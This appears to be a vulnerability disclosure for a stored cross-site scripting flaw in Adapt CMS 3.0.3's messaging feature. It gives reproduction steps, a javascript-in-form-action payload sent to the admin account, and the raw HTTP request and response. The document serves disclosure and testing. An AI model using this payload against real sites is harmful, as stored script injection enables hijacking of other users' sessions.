📄 Adapt CMS 3.0.3 Cross Site Scripting

# Exploit Title: Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
    # Date: 06/2025
    # Exploit Author: Andrey Stoykov
    # Version: 3.0.3
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    
    Stored XSS "Send Message" Functionality #1:
    
    Steps to Reproduce:
    
    1. Login as normal user and visit "Profile" > "Message" > "Send Message"
    2. In "Message" field enter the following payload "<form
    action="javascript:alert(1)"><input id="x" type="submit" /></form><label
    for="x">XSS</label>"
    3. The payload would execute upon viewing the message
    
    
    // HTTP POST request sending message
    
    POST /adaptcms/messages/send HTTP/1.1
    Host: 192.168.58.131
    Content-Length: 591
    Cache-Control: max-age=0
    Accept-Language: en-GB,en;q=0.9
    Origin: http://192.168.58.131
    Content-Type: application/x-www-form-urlencoded
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
    [...]
    
    _method=POST&data[_Token][key]=aabf09c7e75b47229d84deadd98c6ab65e87f979&data[Message][recipient]=admin&data[Message][title]=test&data[Message][message]=<form
    action="javascript:alert(1)"><input id="x" type="submit" /></form>
    <p><label
    for="x">XSS</label></p>&data[Message][parent_id]=0&data[Message][receiver_user_id]=1&data[_Token][fields]=a989058dd1dcaad53b324c3233dfc1e8f20ba411%3AMessage.parent_id%7CMessage.receiver_user_id&data[_Token][unlocked]=
    
    
    // HTTP Response
    
    HTTP/1.1 302 Found
    Date: Fri, 30 May 2025 19:01:10 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    Location: http://192.168.58.131/adaptcms/messages/index/outbox
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8